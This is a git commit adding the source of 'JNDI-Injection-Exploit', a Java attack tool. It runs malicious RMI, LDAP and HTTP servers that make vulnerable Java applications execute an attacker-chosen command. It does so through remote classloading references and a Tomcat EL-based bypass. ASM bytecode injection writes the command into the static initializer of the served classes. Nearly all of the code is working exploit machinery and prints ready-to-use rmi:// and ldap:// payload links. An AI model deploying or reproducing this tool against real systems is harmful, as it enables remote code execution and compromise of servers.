commit codes

This commit is contained in:
sayersyang
2020-06-27 17:37:59 +08:00
parent eabf0bd12b
commit fe745ea424
17 changed files with 1266 additions and 0 deletions

143
pom.xml Normal file
View File

@@ -0,0 +1,143 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>welk1n</groupId>
<artifactId>JNDI-Injection-Exploit</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<jetty.version>8.1.9.v20130131</jetty.version>
<compiler.version>1.8</compiler.version>
</properties>
<dependencies>
<!-- Util -->
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>7.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>org.reflections</groupId>
<artifactId>reflections</artifactId>
<version>0.9.9</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.24</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.4</version>
</dependency>
<dependency>
<groupId>commons-cli</groupId>
<artifactId>commons-cli</artifactId>
<version>1.3</version>
</dependency>
<!-- For LDAP reference jndi -->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
<!-- Jetty -->
<dependency>
<groupId>org.eclipse.jetty.aggregate</groupId>
<artifactId>jetty-webapp</artifactId>
<version>${jetty.version}</version>
</dependency>
<!-- Bypass JDK 1.8.0_191+ -->
<!-- <dependency>-->
<!-- <groupId>org.springframework.boot</groupId>-->
<!-- <artifactId>spring-boot-starter-web</artifactId>-->
<!-- <version>2.1.1.RELEASE</version>-->
<!-- </dependency>-->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.38</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.38</version>
</dependency>
<!-- <dependency>-->
<!-- <groupId>org.codehaus.groovy</groupId>-->
<!-- <artifactId>groovy</artifactId>-->
<!-- <version>2.4.5</version>-->
<!-- </dependency>-->
<!-- test -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>${compiler.version}</source>
<target>${compiler.version}</target>
</configuration>
</plugin>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.5.5</version>
<configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>run.ServerStart</mainClass>
</manifest>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

BIN
src/.DS_Store vendored Normal file

Binary file not shown.

BIN
src/main/.DS_Store vendored Normal file

Binary file not shown.

BIN
src/main/java/.DS_Store vendored Normal file

Binary file not shown.

View File

@@ -0,0 +1,113 @@
package jetty;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.servlet.ServletHandler;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.URLEncoder;
import static run.ServerStart.getLocalTime;
import static util.Transformers.insertCommand;
/**
* @Classname JettyServer
* @Description HTTPServer supply .class file which execute command by Runtime.getRuntime.exec()
* @Author welkin
*/
public class JettyServer implements Runnable{
private int port;
private Server server;
private static String command;
// public JettyServer(int port) {
// this.port = port;
// server = new Server(port);
// command = "open /Applications/Calculator.app";
// }
public JettyServer(int port,String cmd) {
this.port = port;
server = new Server(port);
command = cmd;
}
@Override
public void run() {
ServletHandler handler = new ServletHandler();
server.setHandler(handler);
handler.addServletWithMapping(DownloadServlet.class, "/*");
try {
server.start();
server.join();
}catch (Exception e){
e.printStackTrace();
}
}
@SuppressWarnings("serial")
public static class DownloadServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
String filename = request.getRequestURI().substring(1);
InputStream in = checkFilename(filename);
byte[] transformed;
ByteArrayInputStream bain = null;
if (in != null) {
try {
transformed = insertCommand(in,command);
bain = new ByteArrayInputStream(transformed);
}catch (Exception e){
e.printStackTrace();
System.out.println(getLocalTime() + " [JETTYSERVER]>> Byte array build failed.");
}
System.out.println(getLocalTime() + " [JETTYSERVER]>> Log a request to " + request.getRequestURL());
response.setStatus(HttpServletResponse.SC_OK);
response.setHeader("content-disposition", "attachment;filename="+URLEncoder.encode(filename, "UTF-8"));
int len ;
byte[] buffer = new byte[1024];
OutputStream out = response.getOutputStream();
if (bain != null){
while ((len = bain.read(buffer)) > 0) {
out.write(buffer,0,len);
}
bain.close();
}else {
System.out.println(getLocalTime() + " [JETTYSERVER]>> Read file error!");
}
}else {
System.out.println(getLocalTime() + " [JETTYSERVER]>> URL("+ request.getRequestURL() +") Not Exist!");
}
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
doGet(request, response);
}
}
private static InputStream checkFilename(String filename){
String template;
switch (filename){
case "ExecTemplateJDK7.class":
template = "template/ExecTemplateJDK7.class";
break;
case "ExecTemplateJDK8.class":
template = "template/ExecTemplateJDK8.class";
break;
// TODO:Add more
default:
return null;
}
return Thread.currentThread().getContextClassLoader().getResourceAsStream(template);
}
}

View File

@@ -0,0 +1,153 @@
/* MIT License
Copyright (c) 2017 Moritz Bechler
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package jndi;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.*;
import util.Mapper;
import static run.ServerStart.getLocalTime;
/**
* LDAP jndi implementation returning JNDI references
*
* @author mbechler welkin
*
*/
public class LDAPRefServer implements Runnable{
private static final String LDAP_BASE = "dc=example,dc=com";
private int port;
private URL codebase_url;
public LDAPRefServer(int port, URL codebase_url) {
this.port = port;
this.codebase_url = codebase_url;
}
@Override
public void run () {
// int port = 1389;
// try {
// Class.forName("util.Mapper");
// }catch (ClassNotFoundException e){
// e.printStackTrace();
// }
// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
// System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
// System.exit(-1);
// }
// else if ( args.length > 1 ) {
// port = Integer.parseInt(args[ 1 ]);
// }
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(this.codebase_url));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println(getLocalTime() + " [LDAPSERVER] >> Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
String cbstring = this.codebase.toString();
String javaFactory = Mapper.references.get(base);
if (javaFactory != null){
URL turl = new URL(cbstring + javaFactory.concat(".class"));
System.out.println(getLocalTime() + " [LDAPSERVER] >> Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", javaFactory);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}else {
System.out.println(getLocalTime() + " [LDAPSERVER] >> Reference that matches the name(" + base + ") is not found.");
}
}
}
}

View File

@@ -0,0 +1,463 @@
package jndi;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;
import util.Mapper;
import util.Reflections;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;
import static run.ServerStart.getLocalTime;
/**
* Generic JRMP listener
*
* JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
*
* This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
*
* @author mbechler welkin
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class RMIRefServer implements Runnable {
public String command;
private int port;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public RMIRefServer ( int port, URL classpathUrl ) throws IOException {
this.port = port;
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public RMIRefServer ( int port, URL classpathUrl, String command) throws IOException {
this.port = port;
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
this.command = command;
}
public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.out.println(getLocalTime() + " [RMISERVER] >> Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}
/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}
public static final void main ( final String[] args ) {
int port = 1099;
// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
// System.err.println(RMIRefServer.class.getName() + "<codebase_url#classname> [<port>]");
// System.exit(-1);
// return;
// }
// if ( args.length >= 2 ) {
// port = Integer.parseInt(args[ 1 ]);
// }
//trigger static code in Mapper
try {
Class.forName("util.Mapper");
}catch (ClassNotFoundException e){
e.printStackTrace();
}
try {
System.out.println(getLocalTime() + " [RMISERVER] >> Opening JRMP listener on " + port);
RMIRefServer c = new RMIRefServer(port, new URL("http://testlocal.com:8080/"));
c.run();
} catch ( Exception e ) {
System.out.println(getLocalTime() + " [RMISERVER] >> Listener error");
e.printStackTrace(System.err);
}
}
@Override
public void run () {
try {
@SuppressWarnings ( "resource" )
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.out.println(getLocalTime() + " [RMISERVER] >> Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
try ( DataInputStream in = new DataInputStream(bufIn) ) {
int magic = in.readInt();
short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
try ( DataOutputStream out = new DataOutputStream(bufOut) ) {
byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
}
else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out);
break;
default:
case TransportConstants.MultiplexProtocol:
System.out.println(getLocalTime() + " [RMISERVER] >> Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
}
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.out.println(getLocalTime() + " [RMISERVER] >> Closing connection");
s.close();
}
}
}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}
}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception {
System.out.println(getLocalTime() + " [RMISERVER] >> Reading message...");
int op = in.read();
switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID.read(in);
break;
default:
throw new IOException(getLocalTime() + " [RMISERVER] >> unknown transport op " + op);
}
s.close();
}
private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.jndi.ObjID;".equals(desc.getName()) ) {
return ObjID[].class;
}
else if ( "java.rmi.jndi.ObjID".equals(desc.getName()) ) {
return ObjID.class;
}
else if ( "java.rmi.jndi.UID".equals(desc.getName()) ) {
return UID.class;
}
else if ( "java.lang.String".equals(desc.getName()) ) {
return String.class;
}
throw new IOException(getLocalTime() + " [RMISERVER] >> Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
}
catch ( IOException e ) {
throw new MarshalException(getLocalTime() + " [RMISERVER] >> unable to read objID", e);
}
if ( read.hashCode() == 2 ) {
// DGC
handleDGC(ois);
}
else if ( read.hashCode() == 0 ) {
if ( handleRMI(ois, out) ) {
this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
return;
}
}
}
/**
* @param ois
* @param out
* @throws IOException
* @throws ClassNotFoundException
// * @throws NamingException
*/
private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if ( method != 2 ) { // lookup
return false;
}
String object = (String) ois.readObject();
System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method);
String cpstring = this.classpathUrl.toString();
String reference = Mapper.references.get(object);
if (reference == null) {
System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found.");
return false;
}
URL turl = new URL(cpstring + "#" + reference);
out.writeByte(TransportConstants.Return);// transport op
try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
if (reference.startsWith("Bypass")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference.");
Reflections.setFieldValue(rw, "wrappee", execByEL());
}else {
System.out.println(
String.format(
getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s",
new URL(cpstring + reference.concat(".class"))));
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}
/*
* Need : Tomcat 8+ or SpringBoot 1.2.x+ in classpathbecause of javax.el.ELProcessor.
*/
public ResourceRef execByEL() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", String.format(
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
")",
this.command
)));
return ref;
}
/**
* @param ois
* @throws IOException
* @throws ClassNotFoundException
*/
private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException {
ois.readInt(); // method
ois.readLong(); // hash
System.out.println(getLocalTime() + " [RMISERVER] >> Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
@SuppressWarnings ( "deprecation" )
protected static Object makeDummyObject ( String className ) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream ( OutputStream out, URL u ) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream ( OutputStream out ) throws IOException {
super(out);
}
@Override
protected void annotateClass ( Class<?> cl ) throws IOException {
if ( this.sendUrl != null ) {
writeObject(this.sendUrl.toString());
}
else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
writeObject(null);
}
else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = "";
for ( URL u : us ) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
annotateClass(cl);
}
}
}

View File

@@ -0,0 +1,146 @@
package run;
import jetty.JettyServer;
import jndi.LDAPRefServer;
import jndi.RMIRefServer;
import org.apache.commons.cli.*;
import org.apache.commons.lang3.StringUtils;
import java.net.*;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Enumeration;
import static util.Mapper.*;
/**
* @Classname run.ServerStart
* @Description Start servers
* @Author Welkin
*/
public class ServerStart {
public static String addr = getLocalIpByNetcard();
//default ports
public static int rmiPort = 1099;
public static int ldapPort = 1389;
private static int jettyPort = 8180;
private URL codebase;
private JettyServer jettyServer;
private RMIRefServer rmiRefServer;
private LDAPRefServer ldapRefServer;
public static void main(String[] args) throws Exception{
CommandLineParser parser = new DefaultParser();
CommandLine cmd = null;
//default command
String[] cmdArray = {"open","/Applications/Calculator.app"};
try{
cmd = parser.parse(cmdlineOptions(),args);
}catch (Exception e){
System.err.println("Cmdlines parse failed.");
System.exit(1);
}
if(cmd.hasOption("C")) {
cmdArray = cmd.getOptionValues('C');
}
if(cmd.hasOption("A")) {
addr = cmd.getOptionValue('A');
}
ServerStart servers = new ServerStart(new URL("http://"+ addr +":"+ jettyPort +"/"),StringUtils.join(cmdArray," "));
System.out.println("[ADDRESS] >> " + addr);
System.out.println("[COMMAND] >> " + withColor(StringUtils.join(cmdArray," "),ANSI_BLUE));
Class.forName("util.Mapper");
System.out.println("----------------------------Server Log----------------------------");
System.out.println(getLocalTime() + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort);
Thread threadJetty = new Thread(servers.jettyServer);
threadJetty.start();
System.out.println(getLocalTime() + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort);
Thread threadRMI = new Thread(servers.rmiRefServer);
threadRMI.start();
Thread threadLDAP = new Thread(servers.ldapRefServer);
threadLDAP.start();
}
public ServerStart(String cmd) throws Exception{
this.codebase = new URL("http://"+ getLocalIpByNetcard() +":"+ jettyPort +"/");
jettyServer = new JettyServer(jettyPort,cmd);
rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd);
ldapRefServer = new LDAPRefServer(ldapPort,codebase);
}
public ServerStart(URL codebase, String cmd) throws Exception{
this.codebase = codebase;
jettyServer = new JettyServer(jettyPort,cmd);
rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd);
ldapRefServer = new LDAPRefServer(ldapPort,this.codebase);
}
public static Options cmdlineOptions(){
Options opts = new Options();
Option c = new Option("C",true,"The command executed in remote .class.");
c.setArgs(Option.UNLIMITED_VALUES);
opts.addOption(c);
Option addr = new Option("A",true,"The address of server(ip or domain).");
opts.addOption(addr);
return opts;
}
/**
* 直接根据第一个网卡地址作为其内网ipv4地址
*
* @return
*/
public static String getLocalIpByNetcard() {
try {
for (Enumeration<NetworkInterface> e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) {
NetworkInterface item = e.nextElement();
for (InterfaceAddress address : item.getInterfaceAddresses()) {
if (item.isLoopback() || !item.isUp()) {
continue;
}
if (address.getAddress() instanceof Inet4Address) {
Inet4Address inet4Address = (Inet4Address) address.getAddress();
return inet4Address.getHostAddress();
}
}
}
return InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
/**
* Get current time
*/
public static String getLocalTime(){
Date d = new Date();
DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
return sdf.format(d);
}
public static Boolean isLinux(){
return !System.getProperty("os.name").toLowerCase().startsWith("win");
}
public static String withColor(String str,String color){
if (isLinux()) {
return color + str + ANSI_RESET;
}
return str;
}
}

View File

@@ -0,0 +1,59 @@
package util;
import org.apache.commons.lang3.RandomStringUtils;
import static run.ServerStart.addr;
import static run.ServerStart.rmiPort;
import static run.ServerStart.ldapPort;
import static run.ServerStart.withColor;
import java.util.HashMap;
import java.util.Map;
/**
* @Classname Mapper
* @Description Init the JNDI links
* @Author Welkin
*/
public class Mapper {
public final static Map<String,String> references = new HashMap<>();
public final static Map<String,String> instructions = new HashMap<>();
public static final String ANSI_RESET = "\u001B[0m";
public static final String ANSI_PURPLE = "\u001B[35m";
public static final String ANSI_RED = "\u001B[31m";
public static final String ANSI_BLUE = "\u001B[34m";
static {
//references.put(RandomStringUtils.randomAlphanumeric(7).toLowerCase(),"ExecTemplateJDK8");
//references.put(RandomStringUtils.randomAlphanumeric(7).toLowerCase(),"ExecTemplateJDK7");
//references.put(RandomStringUtils.randomAlphanumeric(7).toLowerCase(),"BypassByEL");
references.put("Exploit","ExecTemplateJDK8");
references.put("Exploit7","ExecTemplateJDK7");
references.put("ExploitBypass","BypassByEL");
instructions.put("ExecTemplateJDK8","Build in "+ withColor("JDK 1.8",ANSI_RED) +" whose trustURLCodebase is true");
instructions.put("ExecTemplateJDK7","Build in "+ withColor("JDK 1.7",ANSI_RED) +" whose trustURLCodebase is true");
instructions.put("BypassByEL","Build in "+ withColor("JDK",ANSI_RED) +" whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath");
System.out.println("----------------------------JNDI Links---------------------------- ");
for (String name : references.keySet()) {
String reference = references.get(name);
System.out.println("Target environment(" + instructions.get(reference) +"):");
if (reference.startsWith("Bypass")){
System.out.println(withColor("rmi://"+ addr +":"+ rmiPort +"/" + name, ANSI_PURPLE));
}else {
System.out.println(withColor("rmi://"+ addr +":"+ rmiPort +"/" + name, ANSI_PURPLE));
System.out.println(withColor("ldap://"+ addr +":"+ ldapPort +"/" + name, ANSI_PURPLE));
}
}
System.out.println();
}
public static void main(String[] args) {
System.out.println();
}
}

View File

@@ -0,0 +1,69 @@
package util;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
@SuppressWarnings ( "restriction" )
public class Reflections {
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue ( final Object obj, final String fieldName ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Constructor<?> getFirstCtor ( final String name ) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[ 0 ];
ctor.setAccessible(true);
return ctor;
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
@SuppressWarnings ( {
"unchecked"
} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}

View File

@@ -0,0 +1,83 @@
package util;
import java.io.InputStream;
import org.objectweb.asm.*;
/**
* @Classname Transformers
* @Description Insert command to the template classfile
* @Author Welkin
*/
public class Transformers {
public static byte[] insertCommand(InputStream inputStream, String command) throws Exception{
ClassReader cr = new ClassReader(inputStream);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv = new TransformClass(cw,command);
cr.accept(cv, 2);
return cw.toByteArray();
}
static class TransformClass extends ClassVisitor{
String command;
TransformClass(ClassVisitor classVisitor, String command){
super(Opcodes.ASM7,classVisitor);
this.command = command;
}
@Override
public MethodVisitor visitMethod(
final int access,
final String name,
final String descriptor,
final String signature,
final String[] exceptions) {
MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions);
if(name.equals("<clinit>")){
return new TransformMethod(mv,command);
}else{
return mv;
}
}
}
static class TransformMethod extends MethodVisitor{
String command;
TransformMethod(MethodVisitor methodVisitor,String command) {
super(Opcodes.ASM7, methodVisitor);
this.command = command;
}
@Override
public void visitCode(){
Label label0 = new Label();
Label label1 = new Label();
Label label2 = new Label();
mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
mv.visitLabel(label0);
mv.visitLdcInsn(command);
mv.visitVarInsn(Opcodes.ASTORE, 0);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitVarInsn(Opcodes.ALOAD, 0);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(label1);
Label label3 = new Label();
mv.visitJumpInsn(Opcodes.GOTO, label3);
mv.visitLabel(label2);
mv.visitVarInsn(Opcodes.ASTORE, 0);
mv.visitVarInsn(Opcodes.ALOAD, 0);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
mv.visitLabel(label3);
}
}
}

Binary file not shown.

Binary file not shown.

BIN
src/test/.DS_Store vendored Normal file

Binary file not shown.

View File

